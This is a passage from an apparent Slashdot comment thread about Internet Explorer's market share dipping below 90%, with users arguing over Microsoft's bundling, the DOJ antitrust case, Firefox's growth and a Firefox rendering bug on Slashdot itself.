    13. Re:No, wait! by 99BottlesOfBeerInMyF · · Score: 2, Insightful

      This kinda proves what MS was saying, and disproves what the DOJ was saying.

      Lets see an obviously inferior product maintains 90% market share through leveraging another existing monopoly even thought they add basically no new features for years and despite a competitor who gives away a superior product that is written by people who are so fed up with how broken the aforementioned product is, they make it for free. Yeah, I'm sure that monopoly isn't being used unfairly and bundling has nothing to do with it. You've really opened my eyes or something.

      Idiot.

    14. Re:No, wait! by EdwinBoyd · · Score: 1

      It's the COULD that's the rub. Microsoft did wipe out any effective opposition and they COULD have continued to do so. However, they stopped updating IE alltogether years ago. In fact Microsoft let IE slip so much that it became signifigantly inferior to the next generation of browsers. Alternative browsers weren't fighting for their position, they were walking right in. As previously mentioned all MS has to do now is announce they've invented Tabbed Browsing and Firefox will lose it's main selling point for the uninitiated.

    15. Re:No, wait! by Anonymous Coward · · Score: 0

      Heh I remember the bad old days of trying to get a browser on windows 95 after the shitty IE it shipped with would no longer render modern pages.

    16. Re:No, wait! by timeOday · · Score: 3, Insightful
      No. Antitrust law is supposed to preserve the possibility of competing businesses, which FireFox is not. If you have to literally give away the product for free to "compete," something is wrong.

      If IE were unbundled and it had to stand on its own, Netscape would still be in business, and Opera would have much more of a chance.

      Microsoft has effectively cut off the air supply of the competition, which is illegal. Think what a dump the Internet would be by now if business and individuals hadn't donated a top-quality browser. That shouldn't be necessary.

    17. Re:No, wait! by tshak · · Score: 1

      Just imagine what the market would be if every user were presented with a informed opinion about each browser without having any of them installed yet...

      Most users don't care about consumer reports or any other informed media when it comes to browsers. When they turn on their computer they want it to go to the "internet". That's why the major desktop OS's (Windows and OSX) have a browser experience out of the box. It's just as common as a file explorer.

      Speaking about file explorers, there are 3rd party file explores for both Windows and OSX, some of which are arguably "better" than what coems with the OS. This is another good example of a packaged or integrated set of features that is better left to the OS maker to decide, with the ability for power users to customize.

      --

      There is no longer anything that can be done with computers that is nontrivial and clearly legal. -- Paul Phillips
    18. Re:No, wait! by Anonymous Coward · · Score: 0

      >> But, wait, actually. Seriously for a second. Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows? Wasn't the argument that IE was illegal tying because there would not be competition due to MS's dominance with Windows? >>

      If anything, I think this is an argument for just HOW CRAPPY IE is... that given a monopoly behind it and that it comes for free, people still are walking away from it.

      Firefox is a descendant of Netscape (ie. an existing corpse of a codebase, similar to OpenOffice.org on Staroffice) and is only surviving by (a) being free; and (b) being a hell of a lot better than a completely stagnated product (IE from MS).

      The reason Firefox exists has nothing to do with business (ie. let's sell a better browser) and everything to do with philosophy (ie. let's make and share a better browser because it's fun [note the troubles popping up in open source over the boring job of maintaining now-stable code]) People are willing to lose time and money on it to supply an alternative.

      NOW companies are piggybacking on its success because it's reached a level of capability, stability, and market presence.

      ie. the only way to battle Microsoft with its free browser was to supply a competitor that was A HELL OF A LOT BETTER *AND* FREE as well.

    19. Re:No, wait! by m50d · · Score: 2, Funny

      Imagine if there was a way we could communicate without the internet. Waves travel well through air, perhaps we could make them somehow, and then have others interpret them and understand what we were saying.

      --
      I am trolling
    20. Re:No, wait! by arkhan_jg · · Score: 2, Insightful

      Same way they always managed before IE being a mandatory unremovable part of the OS; get a browser by other means.

      ISP's still give out CDs with a browser and an account setup script. That browser could just as easily be firefox as internet explorer. Flash drives, network installs, isp ftp setup script, hell even a custom front end that not only lets you choose your ISP but your browser too.

      But nobody does any of it, because there's already a browser built into the computer. Why bother supplying a second one when you can support the one already guaranteed to be on the desktop of 90% of your customers?

      --
      Remember kids, it's all fun and games until someone commits wholesale galactic genocide.
    21. Re:No, wait! by antiMStroll · · Score: 1

      You probably didn't notice, Mozilla/Firefox 'competes' by being free. Netscape was effectively crushed and Opera isn't setting the world afire.

    22. Re:No, wait! by Foofoobar · · Score: 1

      So you are saying that after their measures taken against Microsoft, another product was more able to compete fairly without unfair business practices?? i don't see your point.

      DBesides, open source IN SOME WAYS is a response to monopolistic practices.

      --
      This is my sig. There are many like it but this one is mine.
    23. Re:No, wait! by Jeff+DeMaagd · · Score: 1

      All it shows is that even in the face of crushing dominance, that there is room for niche competitors.

    24. Re:No, wait! by lolocaust · · Score: 1

      How about an internet connection wizard-esque app that gets info about all of the available browsers, and presents it to the users, kinda like how older versions of windows would dial up to a microsoft server and get information on isps in your local area.

      Although there's still room for bias towards IE.

      --
      Why does my post history abruptly stop? I want to laugh at the stupid things I posted as a kid.
    25. Re:No, wait! by lolocaust · · Score: 1

      Adding to that, whats wrong with just having all of the available browsers installed and letting the users choose from there.

      --
      Why does my post history abruptly stop? I want to laugh at the stupid things I posted as a kid.
    26. Re:No, wait! by Anonymous Coward · · Score: 0

      Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows? Wasn't the argument that IE was illegal tying because there would not be competition due to MS's dominance with Windows?

      No it is not. No company could ever create a business model that would allow them to earn a living from selling a browser while taking serious marketshare from IE. Firefox is gaining ground because it is both better AND free. A browser that was better, but cost $$$, would never have a hope of pushing back against the Beast.

    27. Re:No, wait! by Joe+the+Lesser · · Score: 1

      Indeed! And what if, dare I say it, you could inscribe a dark ink onto a light surface that would look like text a computer screen, that could be distributed through various means.

      --
      "I only speak the truth"
      Karma: null(Mostly affected by an unassigned variable)
    28. Re:No, wait! by jafac · · Score: 1

      But, wait, actually. Seriously for a second. Isn't this exactly the type of competition that the DOJ argued would/could never happen as long IE was integrated into Windows?

      Apples and oranges.

      Firefox is FREE. Netscape was payment-optional. There are non-free browsers that still cannot compete in any meaningful sense, despite feature superiority. (no, I'm not one of those goofy Opera nuts).

      No software company will EVER sell a browser that competes with a free-bundled IE, on the most popular desktop OS. If you force IE to become unbundled, there's a chance for competition. But you're still trying to force a market solution on a product, treating it like a commodity, when software should actually be treated like a service. (WRT the definition of "dumping" or selling below-cost, etc.).

      --

      These are my friends, See how they glisten. See this one shine, how he smiles in the light.
    29. Re:No, wait! by brontus3927 · · Score: 1
      The biggest difference is that, IIRC, in the old browser wars, Microsoft was updating IE relatively quickly in reponse to Netscapes updates, keeping them relatively neck-and-neck for a while. IMO MS's victory had as much to do with how horrible bloated POS Netscape 6 as with MS bundling IE with Windows.

      Forefox was been competeing a well-funded competitor who hasn't been doing at that much competing.

    30. Re:No, wait! by Anonymous Coward · · Score: 0

      If it was just IE vs Firefox, firefox would have already beaten a 10% share.

      The fact that the browser arena is still pretty competative only makes Firefox's accomplishments all the more impressive. (And if Microsoft was abusing their monopoly in the sense that railroad, oil, steel trusts were, it'd be impossible. Period.) The fact that it's managed to make the gains it has in such a short time, across so many platforms, is truly stunning, and a credit to the people who clearly work so diligently on the project.

      Netscape was ass. Firefox has demonstrated that with a speed and savagery that no doubt brings a tear to Bill Gates' eye.

    31. Re:No, wait! by wheany · · Score: 1

      Opera is doing just fine.

    32. Re:No, wait! by danheskett · · Score: 1

      The thing of it is though, that Sherman does not specify what percentage means you have a monopoly.

      A monopoly occurs when one organization controls the marketplace: able to raise or lower prices at will without reprecussion from the market.

      Can MS raise the price at will on IE? Umm.. hardly.. the price for browsers now is zero.

      Let's look at it like this:

      Before MS bundled IE, browsers cost $30-$99.
      After MS bundled IE, browsers cost $0.

      Those fuckers!

    33. Re:No, wait! by overbom · · Score: 2, Insightful

      Ummm... why would they need to connect to the internet to be presented with a choice? OEMs bundle 2nd and 3rd party software along with Windows. Just about every software OS / distribution vendor that I can think of has distributed 3rd party application software with their OS. What makes Microsoft any different, besides your perception of what they're willing to do to ensure the implementation of standards and interoperability with the rest of the computing world... oh, wait.

      For example, Opera / Firefox / Galeon / Thunderbird / Chandler / whatever could be preinstalled, or available as installable packages. If, that is, Microsoft was really excited about standards and interoperability and choice. Choice, you'll note, is one of the things the platform prides itself on. They could be a leader for software choices on their platform, but they'd rather let 3rd parties discover markets for them that they can later try to gobble up. Set Program Access and Defaults isn't there because they thought it was a great idea. It's there because the antitrust verdict demanded it.

      Like the grandparent poster said, imagine what the computing infrastructure would be like if Microsoft could change its behavior in this market. This time, use your imagination instead of your powers of logic and analysis.

    34. Re:No, wait! by danheskett · · Score: 1

      The argument from the DOJ was that no competition could develop unless MS unbundled IE. MS did not unbundle IE. It's always been there, since the first time it was bundled.

      Therefore the DOJ was wrong. Firefox is a superior product, and a great competitor, and it has developed even though MS has a huge market share. This proves that the DOJ was wrong. No substantial action was taken against MS and yet competition is thriving, and Firefox has gone from 0% to 7% in a very short amount of time.

      So think about it. The DOJ claimed only a breakup of MS could restore competition, yet, 5+ years since MS was not broken up competition is flourishing!

    35. Re:No, wait! by Anonymous Coward · · Score: 0

      *cough* bullshit. *cough* Superior? Nope. More secure? *possibly* but I've been seeing more security releases for firefox lately than IE. Regardless, point I would like to make is that there's a plethora of internal sites that you don't even know exist in corporations that cannot be accessed with anything but IE. Hence the 90% market share. In our office alone, 95% of the browsing they do is to financial institution *internal* if you will (although accessible from the outside, just not by the public) websites, that cannot be accessed or used with anything but IE. I don't blame business one bit either, many of the things they do can only be done because of the calls IE allows you to make directly to windows.

      Personally I won't touch anything but FF, and I force them to if they're doing anything non-work related, but that doesn't change the fact that IE isnt' going anywhere, and for good reason. And the fact that FF isn't superior if nothing other than because it can't make all of those "insecure" calls directly to the O/S IE makes.

      Before you go off flaming how M$ should be forced to release API's or whatever is needed to allow FF to make those calls... realize that they haven't, and probably never will, therefore FF won't ever be superior. And you shouldn't fault M$ for many of the things you did, you should thank them, they gave coders the ability to make a lot of really cool web-apps because of the "security issues" they programmed into IE.

    36. Re:No, wait! by Anonymous Coward · · Score: 0

      Dark ink on a light surface, indeed! What's going to make this surface glow? I suppose it's just going be a solid sheet of tritium?

      And you toss off that word "distributed" as though it were trivial. It seems simple since we've got all the fiber and electronic switching gear already in place for the Internet, but don't you realize this physical distribution mechanism is going to need some sort of physical network as well? It would take thousands and thousands of trucks to haul all this ink around, giagantic networks of roads on which they could travel, a fuel system for the trucks, and legions of employees to sort and deposit your distribution to each and every house. It's completely impractical without computers.

      Don't even get me started on the problems you'd have with physical spam one you had this "p-mail" system in place.

    37. Re:No, wait! by Anonymous Coward · · Score: 0

      Internet Explorer 3 and 4 were much better than Netscape. I could even use them on my old 486 without waiting forever for the browsers to load.

    38. Re:No, wait! by gad_zuki! · · Score: 1

      >Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget.

      Are you crazy? If it wasnt for the spyware and security issues IE would still be 98% if not more. Alternabrowsers got lucky MS dropped the ball so badly in regards to keeping up their products and keeping spyware off their customer's systems. And they didn't keep up their product because it dominated the market because of MS's monopolistic position.

      FF is getting around 5%, if that, in more conservative estimates. That's not competition. Thats a blip on the radar. Maybe. All the "competition" is hoping for is that maybe, just maybe, they hit a critical mass in which MS's plan to lock them out using ActiveX and IE-only rendering and scripting will not happen because 7 or 8% of customers *might* complain.

      MS is still a harmful monopoly. They havent even been taken down a peg. More like a nano-peg. This isn't the "invisible hand of the market" at work. This is just a small minority of users sick of spyware trying something different for a while. IE7 is going to hurt the altrabrowsers too. And its gonna be bundled with windows as usual.

    39. Re:No, wait! by Deeze · · Score: 1

      "Ummm.... How would they connect to recieve the information in the first place? IRC? FTP? TelNet? HTTP sure seems to be out since they won't have a browser..."

      Funny that, it's strange, innit, that when you install Linux, it can so automagically go out on the internet, download and install whatever browser you want to, without you having to use a browser? It's like magic, or sumthin. Guess MS think their customers are too dumb to look at a list that some app might generate giving them choices of browsers, choose one and hit the "do it" button. Judging by how many times I see the question "Well how are we expected to get a browser when we don't have a browser to go online and do that with?" (worded slightly differently here and there, but same idea), they may well be correct. Those users are under some impression that it's a chicken/egg kinda deal, when just the tiniest bit of logical thought would come up with a workable answer since back in the day we used to get disks and stuff, with browsers and whatnot on them from like, stores. I don't see how that could be too hard.

    40. Re:No, wait! by killjoe · · Score: 1

      " The argument from the DOJ was that no competition could develop unless MS unbundled IE. MS did not unbundle "

      That's right and no competiton has developed. No other browser has even 10% of a market share. Despite the fact that firefox/mozilla has been around for almost a decade now.

      "So think about it. The DOJ claimed only a breakup of MS could restore competition, yet, 5+ years since MS was not broken up competition is flourishing!"

      Define flourishing such that 7% of the market share fits the definition.

      --
      evil is as evil does
    41. Re:No, wait! by Anonymous Coward · · Score: 0

      So think about it. The DOJ claimed only a breakup of MS could restore competition, yet, 5+ years since MS was not broken up competition is flourishing!

      Oh my yes, it's FLOURISHING!! In just FIVE short years the competition reclaimed THREE PERCENT of the browser market! That's more than one half of one percent a year!!! Why at that rate it'll take just a bit more than HALF A CENTURY to reach 50%!!!

      So, bud, what does you colon look like from the inside? And when you pull your head out, to smoke whatever you're smoking, why do you put it right back in?

    42. Re:No, wait! by Dan-DAFC · · Score: 1

      Opera is working on this.

      --
      Suck figs.
    43. Re:No, wait! by Myen · · Score: 1

      The problem is, they haven't really got a decent Firefox CCK (similiar to IEAK) yet. There is a current effort to revive it though. (According to a post on the MozillaZine forums on the IBM/Firefox story today, IBM used the work-in-progress, presumably with some in-house tweaking.)

    44. Re:No, wait! by zkn · · Score: 1

      These numbers proves pretty well that you have to go to the extremes to fight IE. Firefox is FREE and is trying to trow out all the features it can grab just to have 7%. IE on the other hand is just halfheartedly updated with critical securyti fixes.
      If Opera had a markedshare of 20%, then maybe you could say that DOJ was wrong, but as it is now he's right.
      Fair competition is not when the competitors have to do pricedoges as big as 100% even when having the better product.

    45. Re:No, wait! by krunk4ever · · Score: 1

      As of today it looks like the DOJ was 100% correct.

      I think DOJ was only 90% correct. ;p

    46. Re:No, wait! by drew · · Score: 1

      Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget.

      not really, if you think of IE as the competition and not microsoft. IE hasn't received any meaningful updates in over 4 years. when IE 6.0 was released, mozilla hadn't even reached 1.0 yet, much less firefox (which, if it even existed at the time, was still known as phoenix and was barely usable) if microsoft had bothered to put any money at all into IE development in the last 4 years FireFox wouldn't have been able to make even the barely noticeable dent that it has made.

      of course microsoft has woken up to the fact that they have been getting (relatively speaking) clobbered on the browser front lately, and i suspect that the next version of ie will slow firefox's growth to near 0, if not regaining some of the ground that it has lost lately.

      --
      If I don't put anything here, will anyone recognize me anymore?
    47. Re:No, wait! by Anonymous Coward · · Score: 0

      almost a decade? so moz was open sourced back in 1995 and no one told us until now? if only we had known.

    48. Re:No, wait! by Stormwatch · · Score: 1

      > Due to bundling of IE a superior, more
      > secure and free product is not able to
      > get even a 10% share.

      Oh, come on. The bundling thing is nasty, but IE actually got better - not great by any means, but it has improved - while Netscape became bloated, slow, and unstable (NS6, anyone?!). Mosaic has died a long time ago. Opera kicks ass, but it's not free. This may sound heretic to some, but the truth is: for some time, IE was the best browser one could get (without paying).

      Maybe the tide will turn now, with new browsers like Firefox and Safari - slim, fast, rock-solid, and free.

    49. Re:No, wait! by Fermatprime · · Score: 1

      MS isn't really going along with what you're saying. Instead of thumbing their noses at the DOJ and saying, "See? Lookie, lookie, we have competition! Ha ha ha!", they're treating Firefox as The New Ultimate Enemy, and resorting to every trick in the book to try to eradicate it. They'd rather stifle the competition than embrace it. At the end of the day, the DOJ might turn out to have been right after all.

      --
      I hate the one hundred and twenty character limit for signatures with an all-enveloping, all-destroying, incredible pass
    50. Re:No, wait! by Citizen+of+Earth · · Score: 1

      Firefox has managed to take ~7% of the market in a short period of time

      Maybe we should count all of the Mozillas as ~9%.

      "Less IE, Mo'zilla!"

    51. Re:No, wait! by killjoe · · Score: 1

      Please look up netscape.

      --
      evil is as evil does
    52. Re:No, wait! by killjoe · · Score: 1

      Netscape 3 was vastly superior to IE3 and yet IE3 quickly gained momentum due to bundling. At that point the MS had succeeded in "cutting off the air supply" ot netscape so they could not advance their browser as fast as MS could.

      But I wasn't talking about the past. I was talking about how mozilla/firefox which is vastly superior to IE in every possible way has only been able to squeak a 7% market share. That shows how right the DOJ was and how powerful bundling is.

      --
      evil is as evil does
    53. Re:No, wait! by drsmithy · · Score: 1
      No software company will EVER sell a browser that competes with a free-bundled IE, on the most popular desktop OS. If you force IE to become unbundled, there's a chance for competition. But you're still trying to force a market solution on a product, treating it like a commodity, when software should actually be treated like a service. (WRT the definition of "dumping" or selling below-cost, etc.).

      Yeah, and we should force them to pull out the calculator, notepad, DirectX, the TCP/IP stack and everything else as well. That way we can get some "real competitiion" for those things, too. I'm also sure consumers will love cobbling together their OS from 100 different sources so that every PC they sit in front of looks and acts differently.

      Personally, I can't wait - I just loved those days of spending hours twiddling DOS drivers, upper memory blocks and extended memory just so I could get the latest games to run. Not to mention the way many games only supported a small subset of the sound and video cards on the market - it was just like buying a lottery ticket !

    54. Re:No, wait! by julesh · · Score: 1

      Firefox (or at least Mozilla) is a business, they just don't force you to buy their products if all you want is to get a copy of their web browser. However, if you want a nice package with printed manual and installation CD, you can buy it from them. They also sell merchandise.

    55. Re:No, wait! by EggyToast · · Score: 1

      A browser that has only reached 7% over years of hard work and being offered for absolutely free with no catches. IE is only "free" if you're on a Mac. Oh, wait, they stopped making that version.

    56. Re:No, wait! by danheskett · · Score: 1

      Define flourishing such that 7% of the market share fits the definition.

      That 7% has come entirely or nearly entirely in the last 12 months, since Firefox 1.0 was released. They are adding users every day by the buckets load. Really.

      Firefox is growing, IE is tanking. Get it? That's competition. The DOJ said that it would never happen, and they are proven wrong. PROVEN. Firefox is a better product and are adding 1M-2M downloads a week.

      The fact is that in monopoly cases there is no set percentage of the market that means you have a monopoly or not. You can not be a monopoly and have 98% of the market cornered. You can hold only 60% of the market and be a monopoly. The raw numbers do not matter. What matters is whether or not you can manipulate the market.

      MS has proven that it cannot manipulate the market. In fact, they had to recently re-conveiene the IE team which had been disbanded. Due to competition. Due to fear of Firefox.

      The facts have been proven. The DOJ was wrong, MS was right.

    57. Re:No, wait! by danheskett · · Score: 1

      The DOJ claimed then that it would be impossible for any OS or browser to get into the market.

      Yet we have more OS's and more browsers than before the DOJ case. And the are all better. Since then, we've had Linux come into it's own, Opera and Firefox get real, and Mac OSX develop into a powerhouse. There is KHTML and Safarii going strong as well.

      The DOJ was wrong. It's proven fact.

    58. Re:No, wait! by danheskett · · Score: 1

      So OSS is not a viable business? You heard it here, on Slashdot first.

      You are speculating. Good businesses with good products go out of business every day.

      What is fact is that before the DOJ case the DOJ said that no competition could develop due to MS's lock on the market. The fact is that today, consumers pay less for browsers, have more choices, and the entire slate of products is substantially better.

      The DOJ Was wrong.

    59. Re:No, wait! by jafac · · Score: 1

      I never said that IE should be unbundled. I said (sic) that there will never be real competition in the browser market.

      Personally, I feel that the solution to the Microsoft problem should be to send them a clear signal, that bundling is perfectly acceptable (then maybe they'll go ahead with what they've wanted to do for years, and bundle Visual Studio, and SQL server with the OS). Apple bundles, and hardly anybody complains. The benefits of bundling far outweigh the costs. True, a company that makes a text editor only, or a web browser only, cannot compete. But another OS vendor that can leverage all of these important components and bundle them (like Sun, IBM, Microsoft, Apple, and BeOS all have done) is simply doing actual innovation.

      Yeah, I *do* disagree with the technical way in which Microsoft bundled IE (by mixing up the libraries and making them indistinguishable JUST to get out of making a legal distinction - when a technical distinction would be actually useful to developers).

      What I think the solution to Microsoft is?

      Clearly they're a monopoly - but the leverage rules don't seem to apply to the market the same way with software. I'd say that what needs to be done is LET them bundle all they want, but because they're a monopoly, they should be required to at least open the file formats, and probably the API as well. And they should DEFINATELY be prohibited from making exclusive licensing deals with hardware OEMs, but I don't know how you enforce that. Microsoft will always have a means of intimidating hardware OEMs out of shipping competing OSes.

      I don't know if that's enough to "level the playing field" for the other players. But it would mitigate a lot of the "harm" suffered by consumers at the hands of this Monopoly, at least during this period of time (that could last a couple more decades?) while we're waiting for the market to correct the situation. (Firefox and Open Source is a sign of that correction: Apple's success also).

      --

      These are my friends, See how they glisten. See this one shine, how he smiles in the light.
    60. Re:No, wait! by timeOday · · Score: 1
      What is fact is that before the DOJ case the DOJ said that no competition could develop due to MS's lock on the market. The fact is that today, consumers pay less for browsers, have more choices, and the entire slate of products is substantially better.
      The fact is, we cannot say how much consumers are paying for browsers, because the cost is rolled into Windows. Users who have switched to Firefox are not paying for Firefox, but they are in fact involuntarily funding its competition, Internet Explorer! This is not how markets ought to work.

      Perhaps IE's assured status in the market explains why it has not progressed notably in the past few years.

    61. Re:No, wait! by danheskett · · Score: 1

      You are, in fact, entirely false. Firefox is Free in all senses. You do not pay for Firefox, at all, in any sense. Linux users literally can use it without spending one dime on software from the boot process up.

      IE is also free, as in free to upgrade. Windows 95, for example, has no copy of IE with it. And yet, you can load IE on it for no cost. Other versions of Windows get free upgrades to IE, indicating again that it is free.

      Additionally, IE was a standalone product on UNIX and Mac until discontinued, and they were also free.

      Browsers are now entirely free (open source), gratis free (IE, Opera in some flavors), or virtually free/low cost (Opera in some flavors, Netscape in some flavors, etc).

      Before MS's bundling and the increased competition and innovation that this action sparked, browsers were expensive for the average user.

  8. Re:Well it was great while it lasted! by Anonymous Coward · · Score: 0

    IHNBT.

  9. Except... by Mr.+Underbridge · · Score: 4, Funny
    but I haven't run into any sites lately that require IE. Recent Mozilla handles everything just fine. Apart form some minor rendering weirdness on a few sites I haven't had to jump over to IE for anything.

    ...for, I dunno, *this* page, which still doesn't render right in Firefox.

    1. Re:Except... by jacen_sunstrider · · Score: 1

      I fully blame the user, as I don't have/notice these so-called problems on *this* page.

    2. Re:Except... by Anonymous Coward · · Score: 0

      Apparently, you missed the line where he said, " Apart form some minor rendering weirdness on a few sites... "

    3. Re:Except... by koreaman · · Score: 1

      Upgrade your Firefox. The version you're using is ooooolllldddd...

    4. Re:Except... by Cecil · · Score: 1

      To be fair, Slashdot's retarded and broken HTML is as much to blame for their screwy layout in Firefox as Firefox itself.

    5. Re:Except... by th3space · · Score: 1

      Yeah, I had the same problems with FF1.0, but after I went up to FF1.0.1, almost all of my page rendering problems went away (with the exception of PennyArcade, which sometimes looks wonky, but it also does that in IE, so its something else entirely).

      --
      "How like you to drag your keyboard to a gun fight." - Aaron Bedard (BANE)
    6. Re:Except... by Anonymous Coward · · Score: 0

      The latest release version of Firefox, 1.0.4, has this bug. The bugfix won't appear in a release version of Firefox until 1.1 is released.

    7. Re:Except... by Anonymous Coward · · Score: 3, Informative

      No it's not, you fucking moron.

      Every time - EVERY TIME - this topic comes up, somebody smug tells us all that it's Slashdot's broken HTML. It's not. It's a bug in Firefox.

      I've tried posting links to the bug report on Bugzilla. I've tried showing developer comments. I've tried reasoning. I've tried telling them Firefox 1.1 will fix it.

      Every time, somebody replies "yeah, well that may be all true... but it's still Slashdot's fault." What is it with you fucking morons? What will it take for it to sink in that, yes, your precious Firefox has a bug?

      Don't tell me you aren't aware of the truth. Somebody points it out every time it's mentioned - since before Firefox 1.0 was released, and they always get modded up. For some reason some subset of Firefox users are such moronic fanboys that they are unwilling to accept that it could possibly have a bug. And yes, I'm a Firefox user, I just don't like idiocy.

      Try it. Just try it.

    8. Re:Except... by madprof · · Score: 1

      OK OK calm down. We've all got your point.
      You're not called Rob are you? :-)

    9. Re:Except... by forgetmenot · · Score: 2, Funny

      No. It's the HTML.
      *ducks*

    10. Re:Except... by Penguinoflight · · Score: 1

      First I think this whole arguement is BS. The slashdot rendering in firefox "bug" hardly ever shows up, and it certainly hasn't for me yet.

      Second, Slashdot does not follow _any_ standard of html. You can't really argue that a website should work if it doesn't validate. We know many sites dont follow standards, but theres a bunch that dont render right either. Any poor html usage leads to poor rendering no matter to what extent.

      The reasoning is plain and simple. An effective valid page doesn't leave any questions for what should be rendered. The file is usally shorter, and considering it has an organization, it doesn't take as much work to parse.

      --
      "And we have seen and do testify that the Father sent the Son to be the Savior of the World"
      1 John 4:14
    11. Re:Except... by Anonymous Coward · · Score: 0

      Yeeaaaaarrrrggghhhh!

      *head explodes*

      Yeah, I knew a comment like yours was inevitable :)

      Shouting seems to be the only way of getting through to some people though.

    12. Re:Except... by Anonymous Coward · · Score: 0

      You can't really argue that a website should work if it doesn't validate.

      I can argue that a particular bug isn't a website's fault if the problem appears with both valid and invalid code, is caused by an admitted mistake in the browser code, and once the admitted mistake is fixed in the browser, the problem goes away.

      An effective valid page doesn't leave any questions for what should be rendered.

      Read the Bugzilla entry. There's a valid HTML testcase that has the same problem.

      The file is usally shorter

      No, you're just confusing separation of content and presentation with use of CSS as "complying with the specifications". These are two orthogonal issues that happen to have a high correlation in individual developers' methods.

    13. Re:Except... by croddy · · Score: 1

      I use the "light" slashdot layout, you insensitive clod!

    14. Re:Except... by Harinezumi · · Score: 1
      I think you can stop beating this horse now, seeing as it's already dead and all. Yes, Firefox used to have a rendering bug, which is now largely fixed. This does not in any way, shape, or form negate the allegation that Slashcode is a festering cesspool of standards non-compliance.

      I think it's about time to stop arguing a no longer relevant point and go back to our regularly scheduled Microsoft bashing and Soviet Russia jokes.

      I'll start: in Soviet Russia dead horse beats you!

    15. Re:Except... by Anonymous Coward · · Score: 0

      This does not in any way, shape, or form negate the allegation that Slashcode is a festering cesspool of standards non-compliance.

      And I never said that it did. But a hell of a lot of people are convinced that this means that the bug is caused by Slashdot, and it isn't. Somebody said it was Slashdot's fault (yet again), so I corrected them loudly. Nowhere have I said or implied that Slashdot's HTML is not utter shite.

    16. Re:Except... by johansalk · · Score: 1

      I've always heard about this slashdot/firefox thing but I've used firefox since phoenix 0.1 and never noticed anything wrong with slashdot; what am I missing out on?

    17. Re:Except... by Mr.+Underbridge · · Score: 1

      I did yesterday, so ;P

    18. Re:Except... by Professor_UNIX · · Score: 1
      The latest release version of Firefox, 1.0.4, has this bug. The bugfix won't appear in a release version of Firefox until 1.1 is released.

      Is this only a problem under Windows? I'm running Firefox 1.0.4 on a Mac and Slashdot shows up fine. I've had weird display issues with Firefox 1.0 on Windows, but don't recall that problem on the Mac.

  10. Is it really a surprise? by r_jensen11 · · Score: 0

    Honestly, is it honestly a surprise? The only reason I ever use IE is when I'm at work, since we have web applications we need to use, and I'm guessing they're built for IE, not the Gecko engine.
    Anywho, hopefully this will provide webmasters with enough incentive to create proper standard HTML pages instead of designing them for IE only.

    1. Re:Is it really a surprise? by Spy+der+Mann · · Score: 1

      Anywho, hopefully this will provide webmasters with enough incentive to create proper standard HTML pages instead of designing them for IE only.

      I'm hoping for XULRunner to come out so we can start dev'ing our XUL apps :D

    2. Re:Is it really a surprise? by graveyhead · · Score: 1
      I'm hoping for XULRunner to come out so we can start dev'ing our XUL apps :D
      Umm, waiting? You can build it now you know. I have actually built an administration tool for a client using a custom built XULRunner with SVG support.

      Quit waiting and start building! You can even do it with the free MSVC command line tools.

      Yes, the instructions are for building Firefox, but it is a simple matter to switch targets if you've followed the rest of those build instructions.
      --
      std::disclaimer<std::legalese> sig=new std::disclaimer; sig->dump(); delete sig;
  11. this stands to reason... by VolciMaster · · Score: 1

    With the majority of Mac users not running IE, none of the linux guys (except under crossover office), and the increasing downloads, installs, and users of firefox, opera, and others, it seems like IE would be a lot closer to 80% than only just under 90.

    1. Re:this stands to reason... by Anonymous Coward · · Score: 0

      MacOS X still runs IE. Remember not everyone has a new computer.

    2. Re:this stands to reason... by Anonymous Coward · · Score: 0

      A month ago, the Gecko use on about 1000 hotel servers in North America managed by a large HSIA company was around 22%. So, 22% of business travellers use a Gecko browser of which the majority is probably FF and the rest Mozilla.

    3. Re:this stands to reason... by jbplou · · Score: 1

      You live in the world of the nerds, normal people use Windows. Hell when I worked tech support a few years ago most of the users thought the only way to get on the Internet was clicking on the "Big Blue E".

    4. Re:this stands to reason... by VolciMaster · · Score: 1

      No, I live in the world of supporting Windows users in at a university (and NOT a tech school). A lot of them run IE, but a lot run Firefox, Opera, etc. We also have a lot of Mac users, especially in the art and communications departments. We have more than our share of 'normal' people, and nowhere near enough 'nerds'. They're all willing to try new things, though, especially when what we tell them will stop the popups.

    5. Re:this stands to reason... by jbplou · · Score: 1

      IE 6 sp1 will stop popups, so your misinforming your users if you make it sound like a Firefox feature absent from IE.

    6. Re:this stands to reason... by VolciMaster · · Score: 1

      I'm not misinforming most of my users at all. Many are running pre XP installs of Windows, or haven't done the SP2 update for various reasons.

  12. Hmmm.... by RancidMilk · · Score: 2, Informative

    Reminds me alot of this article on /. talking about IE being below 90% 2 months ago. http://slashdot.org/article.pl?sid=05/03/19/053720 5&tid=154&tid=1 "The only war the French have ever won was their revolutionary war... sad that it means that they also lost that one..."

  13. Where were the clicks from? by EmbeddedJanitor · · Score: 2, Interesting

    If you could track stats like whether the clicker was at work or not, you'd probably find a high correlation between work==Winshit/IE, home==*nix/!IE.

    --
    Engineering is the art of compromise.
    1. Re:Where were the clicks from? by Anonymous Coward · · Score: 1, Insightful

      Winshit? It's idiots like you that gives the OSS community a bad name.

    2. Re:Where were the clicks from? by Anonymous Coward · · Score: 0, Insightful

      dude, you got issues. if you are a linux user, I'm ashamed. winshit? it's a decent product - of course it is, it's got 95% of the desktop market.

      idiot. posted it from a windows box too I bet.

    3. Re:Where were the clicks from? by jaavaaguru · · Score: 1

      Winshit/Linshit, I use a Mac at home. I mainly use Solaris 9 and Kubuntu at work. I know people who are like "what's that on your computer? I've never heard of it". People who make fun of Linux as being a geeky thing. And you know what? that doesn't offend me. If only the same coule be said whenever someone made fun of Windows...

    4. Re:Where were the clicks from? by MutantHamster · · Score: 1

      Who said anything about being offended? If somebody makes fun of Linux for being too geeky you may not be offended, but you certainly would think they're stupid, or being a dick, wouldn't you? It's the same for all these jerkoffs constantly bitching about Windows just so they can feel superior.

      --
      My Greatest Heist - Muisc partly inspired by the unbeatable Qwantz
  14. I show 15.52% by QuietLagoon · · Score: 4, Insightful
    I run a website for information about a certain stock that I follow. Most of the people visiting the site are individual investors. The site is about a company in the drug testing business. I say all that, because I wanted to note that the people visiting the site are not what I would consider to be technical people or so-called early adopters.

    FireFox has tallied up 15.52 percent of the hits to my site since May 1.

    1. Re:I show 15.52% by Anonymous Coward · · Score: 0

